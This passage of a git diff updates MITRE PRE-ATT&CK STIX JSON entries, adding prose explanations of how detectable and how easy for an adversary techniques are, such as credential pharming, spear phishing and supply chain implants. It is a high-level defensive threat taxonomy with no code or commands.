+            "description": "The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access  gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af.json b/pre-attack/attack-pattern/attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af.json
index ea6c42d725..4beb0d2867 100644
--- a/pre-attack/attack-pattern/attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af.json
+++ b/pre-attack/attack-pattern/attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--431b7b73-95da-4537-9628-b0b15cee7540",
+    "id": "bundle--e90fd26b-8732-4891-8b8c-62fe4fcf4990",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Untargeted client-side exploitation",
-            "description": "A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user.  However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense.  Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412.json b/pre-attack/attack-pattern/attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412.json
index 05c863e28f..00146f7322 100644
--- a/pre-attack/attack-pattern/attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412.json
+++ b/pre-attack/attack-pattern/attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6deb372c-1a87-41a4-8ae2-de1f8f49a06e",
+    "id": "bundle--05cb7577-592a-4f95-9932-8a75eb2046f9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disseminate removable media",
-            "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase.  Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase.  Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17.json b/pre-attack/attack-pattern/attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17.json
index 34c0471307..6117c633b3 100644
--- a/pre-attack/attack-pattern/attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17.json
+++ b/pre-attack/attack-pattern/attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--be3d923c-42be-4618-926c-2957df4b6dca",
+    "id": "bundle--8cbba71a-09c9-42dc-85e0-be1cf2b7e9db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Spear phishing messages with text only",
-            "description": "Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f.json b/pre-attack/attack-pattern/attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f.json
index 7441064ea8..b92fd097c7 100644
--- a/pre-attack/attack-pattern/attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f.json
+++ b/pre-attack/attack-pattern/attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--912d29a3-210a-4b2b-82b4-78eab644b2a1",
+    "id": "bundle--3c432aa0-de3c-4a15-9542-7f641b944575",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Private whois services",
-            "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commercially available or easy to set up and/or register using a disposable email account."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4.json b/pre-attack/attack-pattern/attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4.json
index 436e6e2997..7054dce465 100644
--- a/pre-attack/attack-pattern/attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4.json
+++ b/pre-attack/attack-pattern/attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd22cbab-fb2a-4600-a1c3-bee013ef38a1",
+    "id": "bundle--c8816de3-87aa-41d2-9b77-ce1b11bf264c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assess security posture of physical locations",
-            "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network.  However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Social engineering and OSINT are still generally successful.  Physical locations of offices/sites are easily determined.  Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Physical security is often unaware of implications of physical access to network.  However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Social engineering and OSINT are still generally successful.  Physical locations of offices/sites are easily determined.  Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899.json b/pre-attack/attack-pattern/attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899.json
index 5752e6361c..9298228f67 100644
--- a/pre-attack/attack-pattern/attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899.json
+++ b/pre-attack/attack-pattern/attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--85a0a2db-4bb7-453b-b3d8-03e12862da9f",
+    "id": "bundle--36298111-7b25-41b4-9670-5a91adcf70d7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--31fa5b03-1ede-4fab-8a68-ed831fcf4899",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Misattributable credentials",
-            "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity.  An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity.  An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc.  Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc.  Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca.json b/pre-attack/attack-pattern/attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca.json
index 78757adaff..8fcfae20f7 100644
--- a/pre-attack/attack-pattern/attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca.json
+++ b/pre-attack/attack-pattern/attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e494292c-bfa8-45d9-9831-768656099b49",
+    "id": "bundle--16734089-d27a-4554-b3d9-db69995a65cd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Analyze presence of outsourced capabilities",
-            "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities.  In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Analyzing business relationships from information gathering may provide insight into outsourced capabilities.  In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2.json b/pre-attack/attack-pattern/attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2.json
index 46bf4368fa..3a0d1f2db4 100644
--- a/pre-attack/attack-pattern/attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2.json
+++ b/pre-attack/attack-pattern/attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--297c6ab8-75bf-4281-812c-5247d4874915",
+    "id": "bundle--026e477a-abf6-4d1c-a8ad-0e6283f16c7a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscate or encrypt code",
-            "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various solutions exist for the adversary to use.  This technique is commonly used to prevent attribution and evade detection.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Detecting encryption is easy, decrypting/deobfuscating is hard.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Various solutions exist for the adversary to use.  This technique is commonly used to prevent attribution and evade detection."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd.json b/pre-attack/attack-pattern/attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd.json
index 412605a7fc..efb4a95455 100644
--- a/pre-attack/attack-pattern/attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd.json
+++ b/pre-attack/attack-pattern/attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b52ea737-186b-4f1f-b863-8b19597e5773",
+    "id": "bundle--bcb47368-0e0c-41a3-b20c-49cfa7a6d107",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hardware or software supply chain implant",
-            "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4.json b/pre-attack/attack-pattern/attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4.json
index 4ea24787c2..a3a027f06e 100644
--- a/pre-attack/attack-pattern/attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4.json
+++ b/pre-attack/attack-pattern/attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1962f22a-08ff-43ca-a846-6a0f114eb014",
+    "id": "bundle--05d7e3e3-765e-4bfa-a7a9-b618111ff397",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credential pharming",
-            "description": "Credential pharming a  form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Credential pharming a  form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level.  It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level.  It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe.json b/pre-attack/attack-pattern/attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe.json
index dc016fa2e5..a3ae046cf6 100644
--- a/pre-attack/attack-pattern/attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe.json
+++ b/pre-attack/attack-pattern/attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8e7810b-5ec3-4766-9909-7b7c3eb04469",
+    "id": "bundle--9115ce06-d8ce-4885-b774-6ee780504ff5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obtain booter/stressor subscription",
-            "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -40,7 +40,9 @@
